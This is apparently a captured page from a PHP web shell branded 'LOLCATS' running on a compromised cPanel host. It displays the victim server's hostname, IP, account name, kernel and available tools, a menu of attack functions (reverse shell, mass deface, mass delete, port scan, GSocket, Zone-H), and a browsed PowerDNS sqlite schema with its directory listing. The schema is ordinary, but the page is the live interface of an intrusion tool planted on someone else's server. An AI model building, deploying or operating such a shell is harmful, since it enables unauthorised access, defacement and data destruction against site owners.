LOLCATS

: /usr/share/doc/cpanel-pdns/ [ drwxr-xr-x ]

Information Server

System: Linux sonos4.linuxplace.net 4.18.0-305.19.1.el8_4.x86_64 #1 SMP Wed Sep 15 11:28:53 EDT 2021 x86_64
Software: Apache/2.4.67 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4
PHP Version: 8.3.31 PHP Os: Linux
Server IP: 46.248.185.66
Your IP: 216.73.216.102
User: truechri [1004] | Group: [truechri] [1006]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

exec,passthru,shell_exec,system

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: schema.sqlite3.sql

PRAGMA foreign_keys = 1;

CREATE TABLE domains (
  id                    INTEGER PRIMARY KEY,
  name                  VARCHAR(255) NOT NULL COLLATE NOCASE,
  master                VARCHAR(128) DEFAULT NULL,
  last_check            INTEGER DEFAULT NULL,
  type                  VARCHAR(8) NOT NULL,
  notified_serial       INTEGER DEFAULT NULL,
  account               VARCHAR(40) DEFAULT NULL,
  options               VARCHAR(65535) DEFAULT NULL,
  catalog               VARCHAR(255) DEFAULT NULL
);

CREATE UNIQUE INDEX name_index ON domains(name);
CREATE INDEX catalog_idx ON domains(catalog);

CREATE TABLE records (
  id                    INTEGER PRIMARY KEY,
  domain_id             INTEGER DEFAULT NULL,
  name                  VARCHAR(255) DEFAULT NULL,
  type                  VARCHAR(10) DEFAULT NULL,
  content               VARCHAR(65535) DEFAULT NULL,
  ttl                   INTEGER DEFAULT NULL,
  prio                  INTEGER DEFAULT NULL,
  disabled              BOOLEAN DEFAULT 0,
  ordername             VARCHAR(255),
  auth                  BOOL DEFAULT 1,
  FOREIGN KEY(domain_id) REFERENCES domains(id) ON DELETE CASCADE ON UPDATE CASCADE
);

CREATE INDEX records_lookup_idx ON records(name, type);
CREATE INDEX records_lookup_id_idx ON records(domain_id, name, type);
CREATE INDEX records_order_idx ON records(domain_id, ordername);

CREATE TABLE supermasters (
  ip                    VARCHAR(64) NOT NULL,
  nameserver            VARCHAR(255) NOT NULL COLLATE NOCASE,
  account               VARCHAR(40) NOT NULL
);

CREATE UNIQUE INDEX ip_nameserver_pk ON supermasters(ip, nameserver);

CREATE TABLE comments (
  id                    INTEGER PRIMARY KEY,
  domain_id             INTEGER NOT NULL,
  name                  VARCHAR(255) NOT NULL,
  type                  VARCHAR(10) NOT NULL,
  modified_at           INT NOT NULL,
  account               VARCHAR(40) DEFAULT NULL,
  comment               VARCHAR(65535) NOT NULL,
  FOREIGN KEY(domain_id) REFERENCES domains(id) ON DELETE CASCADE ON UPDATE CASCADE
);

CREATE INDEX comments_idx ON comments(domain_id, name, type);
CREATE INDEX comments_order_idx ON comments (domain_id, modified_at);

CREATE TABLE domainmetadata (
 id                     INTEGER PRIMARY KEY,
 domain_id              INT NOT NULL,
 kind                   VARCHAR(32) COLLATE NOCASE,
 content                TEXT,
 FOREIGN KEY(domain_id) REFERENCES domains(id) ON DELETE CASCADE ON UPDATE CASCADE
);

CREATE INDEX domainmetaidindex ON domainmetadata(domain_id);

CREATE TABLE cryptokeys (
 id                     INTEGER PRIMARY KEY,
 domain_id              INT NOT NULL,
 flags                  INT NOT NULL,
 active                 BOOL,
 published              BOOL DEFAULT 1,
 content                TEXT,
 FOREIGN KEY(domain_id) REFERENCES domains(id) ON DELETE CASCADE ON UPDATE CASCADE
);

CREATE INDEX domainidindex ON cryptokeys(domain_id);

CREATE TABLE tsigkeys (
 id                     INTEGER PRIMARY KEY,
 name                   VARCHAR(255) COLLATE NOCASE,
 algorithm              VARCHAR(50) COLLATE NOCASE,
 secret                 VARCHAR(255)
);

CREATE UNIQUE INDEX namealgoindex ON tsigkeys(name, algorithm);

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
3.4.0_to_4.0.0_schema.sql...-.	f!le	2026-04-08 9:58	5.34 KB	root / root	-rw-r--r--
3.4.0_to_4.1.0_schema.mys...-.	f!le	2026-04-08 9:58	833 B	root / root	-rw-r--r--
4.0.0_to_4.2.0_schema.sql...-.	f!le	2026-04-08 9:58	1.66 KB	root / root	-rw-r--r--
4.1.0_to_4.2.0_schema.mys...-.	f!le	2026-04-08 9:58	116 B	root / root	-rw-r--r--
4.2.0_to_4.3.0_schema.mys...-.	f!le	2026-04-08 9:58	71 B	root / root	-rw-r--r--
4.2.0_to_4.3.0_schema.sql...-.	f!le	2026-04-08 9:58	606 B	root / root	-rw-r--r--
4.3.0_to_4.3.1_schema.sql...-.	f!le	2026-04-08 9:58	508 B	root / root	-rw-r--r--
4.3.0_to_4.7.0_schema.mys...-.	f!le	2026-04-08 9:58	220 B	root / root	-rw-r--r--
4.3.1_to_4.7.0_schema.sql...-.	f!le	2026-04-08 9:58	272 B	root / root	-rw-r--r--
COPYING	f!le	2026-04-08 9:58	17.67 KB	root / root	-rw-r--r--
README	f!le	2026-04-08 9:58	5.55 KB	root / root	-rw-r--r--
dnssec-3.x_to_3.4.0_schem...-.	f!le	2026-04-08 9:58	1.55 KB	root / root	-rw-r--r--
dnssec-3.x_to_3.4.0_schem...-.	f!le	2026-04-08 9:58	3.46 KB	root / root	-rw-r--r--
enable-foreign-keys.mysql...-.	f!le	2026-04-08 9:58	1.08 KB	root / root	-rw-r--r--
nodnssec-3.x_to_3.4.0_sch...-.	f!le	2026-04-08 9:58	2 KB	root / root	-rw-r--r--
nodnssec-3.x_to_3.4.0_sch...-.	f!le	2026-04-08 9:58	2.28 KB	root / root	-rw-r--r--
schema.mysql.sql	f!le	2026-04-08 9:58	3.07 KB	root / root	-rw-r--r--
schema.sqlite3.sql	f!le	2026-04-08 9:58	3.12 KB	root / root	-rw-r--r--